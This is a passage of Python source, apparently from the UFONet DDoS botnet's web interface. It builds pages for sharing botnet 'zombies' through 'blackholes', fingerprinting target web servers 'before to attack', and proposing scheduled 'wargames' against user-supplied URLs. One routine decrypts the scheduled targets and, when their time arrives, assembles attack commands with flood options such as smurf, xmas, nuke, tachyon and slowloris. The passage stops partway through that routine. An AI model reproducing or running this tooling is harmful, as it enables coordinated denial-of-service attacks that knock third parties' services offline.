  856. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  857. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  858. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  859. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  860. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  861. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  862. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  863. try:
  864. grid_id = m[10] # id (plain id)
  865. except:
  866. grid_id = "invalid!"
  867. else: # no valid version
  868. pass
  869. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  870. else: # not valid stream data
  871. pass
  872. grid_table += "</table>"
  873. if mothership_members == 0:
  874. mothership_members = "¿?"
  875. if unknown_members == 0:
  876. unknown_members = "¿?"
  877. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  878. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td></tr><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td><td>LOIC:</td><td>¿?</td></tr><tr><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td></tr></table><br><hr><br>"
  879. grid_table = mother_grid + grid_table + "</div>"
  880. return grid_table
  881. def html_grid(self):
  882. if self.ranking == "Rookie": # Rookie
  883. your_ranking = "<font color='white'>Rookie [*]</font>"
  884. elif self.ranking == "Mercenary": # Mercenary
  885. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  886. elif self.ranking == "Bandit": # Bandit
  887. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  888. elif self.ranking == "UFOmmander!": # UFOmmander!
  889. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  890. elif self.ranking == "UFOl33t!": # UFOl33t!
  891. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  892. else:
  893. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  894. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  895. device_state = "OFF"
  896. device = "Grid device: <font color='red'>OFF</font><br>"
  897. else:
  898. device_state = "ON"
  899. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  900. data = json.load(gridcfg_json_file)
  901. gridcfg_json_file.close()
  902. grid_token = data["grid_token"]
  903. grid_contact = data["grid_contact"]
  904. grid_contact.encode('utf-8')
  905. grid_nick = data["grid_nick"]
  906. grid_nick.encode('utf-8')
  907. device = "<table cellpadding='5'><tr><td> -CONTACT: "+grid_contact.encode('utf-8')+"</td></tr><tr><td> -NICKNAME: "+grid_nick.encode('utf-8')+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  908. if device_state == "OFF":
  909. grid_panel = ""
  910. else:
  911. grid_table = self.generate_grid()
  912. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  913. if device_state == "OFF":
  914. dec_panel = ""
  915. else:
  916. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  917. if device_state == "OFF":
  918. sync_panel = ""
  919. else:
  920. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  921. if device_state == "OFF":
  922. transfer_panel = ""
  923. else:
  924. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  925. if device_state == "OFF":
  926. remove_grid = ""
  927. else:
  928. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  929. return self.pages["/header"] + """<script language="javascript">
  930. function GridProfile() {
  931. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  932. }
  933. function RemoveGrid() {
  934. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  935. }
  936. function Stats() {
  937. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  938. }
  939. function Sync_panel(){
  940. document.getElementById("sync_panel_block").style.display = "block";
  941. document.getElementById("dec_panel").style.display = "none";
  942. document.getElementById("transfer_panel").style.display = "none";
  943. }
  944. function SyncGrid(){
  945. grid_source=document.getElementById("grid_source").value
  946. if(grid_source == "") {
  947. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  948. return
  949. }else{
  950. params="grid_source="+escape(grid_source)
  951. runCommandX("cmd_sync_grid",params)
  952. setTimeout("location.reload()", 10000)
  953. }
  954. }
  955. function Transfer_panel(){
  956. document.getElementById("transfer_panel").style.display = "block";
  957. document.getElementById("sync_panel_block").style.display = "none";
  958. document.getElementById("dec_panel").style.display = "none";
  959. }
  960. function TransferGrid() {
  961. grid_source=document.getElementById("grid_source_upload").value
  962. grid_key=document.getElementById("grid_key_upload").value
  963. if(grid_source == "") {
  964. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  965. return
  966. }else{
  967. if(grid_key == "") {
  968. window.alert("You need to enter a valid key (provided by someone)");
  969. return
  970. }else{
  971. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  972. runCommandX("cmd_transfer_grid",params)
  973. setTimeout("location.reload()", 10000)
  974. }
  975. }
  976. }
  977. function Decryption_panel(){
  978. document.getElementById("dec_panel").style.display = "block";
  979. document.getElementById("transfer_panel").style.display = "none";
  980. document.getElementById("sync_panel_block").style.display = "none";
  981. }
  982. function Decrypt_grid(){
  983. grid_key=document.getElementById("grid_key").value
  984. if(grid_key == "") {
  985. window.alert("You need to enter a valid key (provided by someone)");
  986. return
  987. }else{
  988. params="grid_key="+escape(grid_key)
  989. runCommandX("cmd_decrypt_grid",params)
  990. panel_enc = document.getElementById("grid_panel_enc").style.display
  991. if(panel_enc == "block"){
  992. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  993. }
  994. }
  995. }
  996. function GridFilter(filter, key){
  997. params="filter="+escape(filter)+"&key="+escape(key)
  998. runCommandX("cmd_grid_filter", params)
  999. setTimeout("Decrypt_grid()", 2000)
  1000. }
  1001. </script>
  1002. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1003. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1004. <br><center>
  1005. <table cellpadding="5" cellspacing="5"><tr>
  1006. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Grid. A good place to represent our Federation.');"><img src="/images/aliens/alien6.png"></a></td><td>
  1007. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  1008. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  1009. """ + self.pages["/footer"]
  1010. def generate_wargames(self):
  1011. with open(self.wargames_file) as f:
  1012. for line in f:
  1013. line = line.strip()
  1014. f.close()
  1015. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  1016. for m in self.list_wargames: # list = creation, target, estimated
  1017. if wargames_msg_sep in m:
  1018. m = m.split(wargames_msg_sep)
  1019. wargame_creation = m[0][0:12] # creation date
  1020. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  1021. wargame_target = m[1][0:12] # target (obfuscation)
  1022. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  1023. wargame_estimated = m[2][0:12] # estimated date
  1024. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  1025. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  1026. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  1027. wargame_status = wargame_state # status (obfuscated like state)
  1028. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  1029. wargames_table += "</table>"
  1030. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  1031. wargames_table = mother_wargame + wargames_table + "</div>"
  1032. return wargames_table
  1033. def html_wargames(self):
  1034. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  1035. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1036. wargames_table = self.generate_wargames()
  1037. return self.pages["/header"] + """<script language="javascript">
  1038. function Decrypt_wargames(){
  1039. wargames_deckey=document.getElementById("wargames_deckey").value
  1040. if(wargames_deckey == "") {
  1041. window.alert("You need to enter a valid key (provided by someone)");
  1042. return
  1043. }else{
  1044. params="wargames_deckey="+escape(wargames_deckey)
  1045. runCommandX("cmd_decrypt_wargames",params)
  1046. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1047. if(panel_enc == "block"){
  1048. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1049. }
  1050. }
  1051. }
  1052. function SyncWargames(){
  1053. wargames_source=document.getElementById("wargames_source").value
  1054. if(wargames_source == "") {
  1055. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1056. return
  1057. }else{
  1058. params="wargames_source="+escape(wargames_source)
  1059. runCommandX("cmd_sync_wargames",params)
  1060. setTimeout("location.reload()", 10000)
  1061. }
  1062. }
  1063. function Send() {
  1064. wargames_source2=document.getElementById("wargames_source2").value
  1065. wargames_enckey=document.getElementById("wargames_enckey").value
  1066. wargames_target=document.getElementById("wargames_target").value
  1067. wargames_estimated=document.getElementById("wargames_estimated").value
  1068. if(wargames_source2 == "") {
  1069. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1070. return
  1071. }else{
  1072. if(wargames_enckey == "") {
  1073. window.alert("You need to enter a valid key (provided by someone)");
  1074. return
  1075. }else{
  1076. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1077. runCommandX("cmd_transfer_wargame",params)
  1078. setTimeout("location.reload()", 10000)
  1079. }
  1080. }
  1081. }
  1082. function JobRemove(id) {
  1083. params="id="+escape(id)
  1084. runCommandX("cmd_job_remove",params)
  1085. setTimeout("Decrypt_wargames()", 2000)
  1086. }
  1087. function JobAdd(id) {
  1088. params="id="+escape(id)
  1089. runCommandX("cmd_job_add", params)
  1090. setTimeout("Decrypt_wargames()", 2000)
  1091. }
  1092. function JobAddAll() {
  1093. runCommandX("cmd_job_add_all")
  1094. setTimeout("Decrypt_wargames()", 2000)
  1095. }
  1096. function JobCancel(id) {
  1097. params="id="+escape(id)
  1098. runCommandX("cmd_job_cancel", params)
  1099. setTimeout("Decrypt_wargames()", 2000)
  1100. }
  1101. function JobRemoveAll(key) {
  1102. params="key="+escape(key)
  1103. runCommandX("cmd_job_remove_all", params)
  1104. setTimeout("Decrypt_wargames()", 2000)
  1105. }
  1106. function JobCancelAll() {
  1107. runCommandX("cmd_job_cancel_all")
  1108. setTimeout("Decrypt_wargames()", 2000)
  1109. }
  1110. function JobFilter(filter, key) {
  1111. params="filter="+escape(filter)+"&key="+escape(key)
  1112. runCommandX("cmd_job_filter", params)
  1113. setTimeout("Decrypt_wargames()", 2000)
  1114. }
  1115. function EditSupply(){
  1116. if(document.getElementById("supply_edit").value == "EDIT"){
  1117. document.getElementById("supply_botnet").readOnly = false;
  1118. document.getElementById("supply_loic").readOnly = false;
  1119. document.getElementById("supply_loris").readOnly = false;
  1120. document.getElementById("supply_ufosyn").readOnly = false;
  1121. document.getElementById("supply_spray").readOnly = false;
  1122. document.getElementById("supply_smurf").readOnly = false;
  1123. document.getElementById("supply_xmas").readOnly = false;
  1124. document.getElementById("supply_nuke").readOnly = false;
  1125. document.getElementById("supply_tachyon").readOnly = false;
  1126. document.getElementById("supply_edit").title = "Set global army supply..."
  1127. document.getElementById("supply_edit").value = "SET"
  1128. document.getElementById("supply_edit").innerHTML = "SET!"
  1129. }else{
  1130. supply_botnet=document.getElementById("supply_botnet").value
  1131. supply_loic=document.getElementById("supply_loic").value
  1132. supply_loris=document.getElementById("supply_loris").value
  1133. supply_ufosyn=document.getElementById("supply_ufosyn").value
  1134. supply_spray=document.getElementById("supply_spray").value
  1135. supply_smurf=document.getElementById("supply_smurf").value
  1136. supply_xmas=document.getElementById("supply_xmas").value
  1137. supply_nuke=document.getElementById("supply_nuke").value
  1138. supply_tachyon=document.getElementById("supply_tachyon").value
  1139. if(isNaN(parseFloat(supply_botnet)) || parseFloat(supply_botnet) < 0) {
  1140. window.alert("You need to enter a valid BOTNET supply number (int>=0)");
  1141. return
  1142. }else{
  1143. if(isNaN(parseFloat(supply_loic)) || parseFloat(supply_loic) < 0) {
  1144. window.alert("You need to enter a valid LOIC supply number (int>=0)");
  1145. return
  1146. }else{
  1147. if(isNaN(parseFloat(supply_loris)) || parseFloat(supply_loris) < 0) {
  1148. window.alert("You need to enter a valid LORIS supply number (int>=0)");
  1149. return
  1150. }else{
  1151. if(isNaN(parseFloat(supply_ufosyn)) || parseFloat(supply_ufosyn) < 0) {
  1152. window.alert("You need to enter a valid UFOSYN supply number (int>=0)");
  1153. return
  1154. }else{
  1155. if(isNaN(parseFloat(supply_spray)) || parseFloat(supply_spray) < 0) {
  1156. window.alert("You need to enter a valid SPRAY supply number (int>=0)");
  1157. return
  1158. }else{
  1159. if(isNaN(parseFloat(supply_smurf)) || parseFloat(supply_smurf) < 0) {
  1160. window.alert("You need to enter a valid SMURF supply number (int>=0)");
  1161. return
  1162. }else{
  1163. if(isNaN(parseFloat(supply_xmas)) || parseFloat(supply_xmas) < 0) {
  1164. window.alert("You need to enter a valid XMAS supply number (int>=0)");
  1165. return
  1166. }else{
  1167. if(isNaN(parseFloat(supply_nuke)) || parseFloat(supply_nuke) < 0) {
  1168. window.alert("You need to enter a valid NUKE supply number (int>=0)");
  1169. return
  1170. }else{
  1171. if(isNaN(parseFloat(supply_tachyon)) || parseFloat(supply_tachyon) < 0) {
  1172. window.alert("You need to enter a valid TACHYON supply number (int>=0)");
  1173. return
  1174. }else{
  1175. document.getElementById("supply_botnet").readOnly = true;
  1176. document.getElementById("supply_loic").readOnly = true;
  1177. document.getElementById("supply_loris").readOnly = true;
  1178. document.getElementById("supply_ufosyn").readOnly = true;
  1179. document.getElementById("supply_spray").readOnly = true;
  1180. document.getElementById("supply_smurf").readOnly = true;
  1181. document.getElementById("supply_xmas").readOnly = true;
  1182. document.getElementById("supply_nuke").readOnly = true;
  1183. document.getElementById("supply_tachyon").readOnly = true;
  1184. document.getElementById("supply_edit").title = "Edit global army supply..."
  1185. document.getElementById("supply_edit").value = "EDIT"
  1186. document.getElementById("supply_edit").innerHTML = "EDIT"
  1187. params="botnet="+escape(supply_botnet)+"&loic="+escape(supply_loic)+"&loris="+escape(supply_loris)+"&ufosyn="+escape(supply_ufosyn)+"&spray="+escape(supply_spray)+"&smurf="+escape(supply_smurf)+"&xmas="+escape(supply_xmas)+"&nuke="+escape(supply_nuke)+"&tachyon="+escape(supply_tachyon)
  1188. runCommandX("cmd_edit_supply",params)
  1189. setTimeout("Decrypt_wargames()", 2000)
  1190. }
  1191. }
  1192. }
  1193. }
  1194. }
  1195. }
  1196. }
  1197. }
  1198. }
  1199. }
  1200. }
  1201. </script>
  1202. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1203. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1204. <br>
  1205. <center>
  1206. <table cellpadding="5" cellspacing="5"><tr>
  1207. <td><a href="javascript:alert('Vnïjwvödvnh says: """ + self.ranking + """... Are you searching for some real action?. Well, this is your place...');"><img src="/images/aliens/alien8.png"></a></td>
  1208. <td>
  1209. <pre>This feature will allow you to propose/join some real 'wargames'.
  1210. <hr>
  1211. <center><table cellpadding="5" border="1"><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source' id='wargames_source' size='20' value='"""+default_blackhole+"""'></td><td><button title="Download 'wargames' proposed by other motherships..." onclick="SyncWargames()">DOWNLOAD!</button></td><td><form method='GET'><input type="hidden" name="wargames_deckey" id="wargames_deckey" size="20" value='"""+self.crypto_key+"""' READONLY><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_wargames();>Try decryption!</a></td></tr></table></center></form><br><hr><form method='GET'><table cellpadding='5' cellspacing='5'><tr><td>Your proposal:</td><td><input type="text" name="wargames_target" id="wargames_target" size="30" placeholder="http(s)://" required pattern="https?://.+"></td></tr><tr><td>Date time (UTC):</td><td><input type="text" name="wargames_estimated" id="wargames_estimated" size="20" placeholder="dd-mm-yyyy hh:mm:ss" required pattern=".+-.+-.+ .+:.+:.+"> (ex: """+str(now)+""")</td></tr><tr><td>Blackhole/IP:</td><td><input type='text' name='wargames_source2' id='wargames_source2' size='20' value='"""+default_blackhole+"""'></td></tr><tr><td><input type="hidden" name="wargames_enckey" id="wargames_enckey" size="20" value='"""+self.crypto_key+"""' READONLY></td></tr></table></form><button title="Send your proposal to other motherships..." onClick=Send() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">SEND!</button></pre></td></tr></table>
  1212. <hr><br>
  1213. <u>WARGAMES</u>: (Last Update: <font color='green'>"""+str(l)+"""</font>)<br><br>"""+wargames_table+"""<div id='cmdOut'></div><br><br>"""+ self.pages["/footer"]
  1214. def html_abduction(self):
  1215. return self.pages["/header"] + """<script language="javascript">
  1216. function Requests() {
  1217. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1218. }
  1219. function Start(){
  1220. target=document.getElementById("target").value
  1221. String.prototype.startsWith = function(prefix){
  1222. return this.indexOf(prefix) === 0;
  1223. }
  1224. if(target.startsWith("http")){
  1225. params="target="+escape(target)
  1226. }else{
  1227. window.alert("Target url not valid! -> It should starts with 'http(s)://'");
  1228. return
  1229. }
  1230. runCommandX("cmd_abduction",params)
  1231. }
  1232. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1233. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1234. <br>
  1235. <center>
  1236. <table cellpadding="5" cellspacing="5"><tr>
  1237. <td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src="/images/aliens/alien7.png"></a></td>
  1238. <td>
  1239. <pre>
  1240. This feature will provide you information about target's web server.
  1241. You can use this before to attack to be more effective.
  1242. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  1243. <hr>
  1244. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  1245. <hr>
  1246. <button title="Start to research about your target's webserver configuration..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">RESEARCH!</button>
  1247. </pre>
  1248. </td></tr></table>
  1249. <hr><br>
  1250. </center>
  1251. <div id="cmdOut"></div>""" + self.pages["/footer"]
  1252. def html_blackholes(self):
  1253. return self.pages["/header"] + """<script language="javascript">
  1254. function Decrypt(){
  1255. blackhole_key=document.getElementById("blackhole_key").value
  1256. if(blackhole_key == "") {
  1257. window.alert("You need to enter a valid key (provided by someone)");
  1258. return
  1259. }else{
  1260. params="blackhole_key="+escape(blackhole_key)
  1261. runCommandX("cmd_decrypt",params)
  1262. document.getElementById("nb1").style.display = "none";
  1263. }
  1264. }
  1265. </script>
  1266. <script language="javascript">
  1267. function RefreshBlackhole(){
  1268. blackholes_source=document.getElementById("blackholes_source").value
  1269. if(blackholes_source == "") {
  1270. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1271. return
  1272. }else{
  1273. params="blackholes_source="+escape(blackholes_source)
  1274. runCommandX("cmd_refresh_blackholes",params)
  1275. document.getElementById("nb1").style.display = "none";
  1276. setTimeout("location.reload()", 10000)
  1277. }
  1278. }
  1279. </script>
  1280. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1281. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1282. <br>
  1283. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  1284. <td>Blackhole/IP:</td>
  1285. <td><input type="text" name="blackholes_source" id="blackholes_source" size="20" value='"""+default_blackhole+"""'></td>
  1286. </tr></table></td><td><button title="Refreshing blackhole..." onClick="RefreshBlackhole()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Open Warp!</button></td></tr></table>
  1287. <hr>
  1288. <table cellpadding="5" cellspacing="5"><tr>
  1289. <td><a href="javascript:alert('Dhïkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed way...');"><img src="/images/aliens/alien3.png"></a></td><td>
  1290. <table cellpading="5" cellspacing="10"><tr><td>
  1291. <form method='GET'>
  1292. Your key: <input type="text" name="blackhole_key" id="blackhole_key" size="20" value='"""+self.crypto_key+"""'>
  1293. </td></tr><tr><td>
  1294. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  1295. </form>
  1296. </td></tr></table></td></tr></table>
  1297. <hr><br>
  1298. </center>
  1299. Last update: <font color='"""+ self.blackholes_status_color + """'>"""+ self.blackholes_datetime + """</font><br><br>
  1300. <div id="cmdOut"></div>
  1301. <div id="nb1" style="display: block;">"""+self.blackholes_text+"""</div>
  1302. """ + self.pages["/footer"]
  1303. def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply)
  1304. sep = "#-#"
  1305. for job in wargames_engage_list:
  1306. job_t2 = job.rsplit(sep, 1)[0]
  1307. job_creation = job_t2.rsplit(sep, 1)[0]
  1308. job_target = job_t2.rsplit(sep, 1)[1]
  1309. job_estimated = job.rsplit(sep, 1)[1]
  1310. self.decrypt(self.crypto_key, job_estimated)
  1311. if self.decryptedtext:
  1312. job_estimated_dec = self.decryptedtext
  1313. else:
  1314. job_estimated_dec = ""
  1315. self.decryptedtext = ""
  1316. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1317. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  1318. job_estimated_dec = strptime(job_estimated_dec, "%d-%m-%Y %H:%M:%S")
  1319. if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<')
  1320. self.decrypt(self.crypto_key, job_target)
  1321. if self.decryptedtext:
  1322. job_target_dec = self.decryptedtext
  1323. else:
  1324. job_target_dec = ""
  1325. self.decryptedtext = ""
  1326. if job_target_dec is not "":
  1327. job_target_dec = "http://" + job_target_dec # set target prefix to http://
  1328. try: # read global army supply (json)
  1329. with open(self.mothership_supplycfg_file) as data_file:
  1330. data = json.load(data_file)
  1331. except:
  1332. print '[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]'
  1333. with open(self.mothership_supplycfg_file, "w") as f:
  1334. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0}, f, indent=4)
  1335. with open(self.mothership_supplycfg_file) as data_file:
  1336. data = json.load(data_file)
  1337. self.supply_botnet = data["botnet"]
  1338. self.supply_loic = data["loic"]
  1339. self.supply_loris = data["loris"]
  1340. self.supply_ufosyn = data["ufosyn"]
  1341. self.supply_spray = data["spray"]
  1342. self.supply_smurf = data["smurf"]
  1343. self.supply_xmas = data["xmas"]
  1344. self.supply_nuke = data["nuke"]
  1345. self.supply_tachyon = data["tachyon"]
  1346. job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec)
  1347. print "[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec)
  1348. cmd = ""
  1349. nonroot_cmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1350. root_cmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" "
  1351. if int(self.supply_tachyon) > 0:
  1352. cmd += "--tachyon " +str(self.supply_tachyon)+ " "
  1353. flag_tachyon = True
  1354. if int(self.supply_nuke) > 0:
  1355. cmd += "--nuke " +str(self.supply_nuke)+ " "
  1356. flag_nuke = True
  1357. if int(self.supply_xmas) > 0:
  1358. cmd += "--xmas " +str(self.supply_xmas)+ " "
  1359. flag_xmas = True
  1360. if int(self.supply_smurf) > 0:
  1361. cmd += "--smurf " +str(self.supply_smurf)+ " "
  1362. flag_smurf = True
  1363. if int(self.supply_spray) > 0:
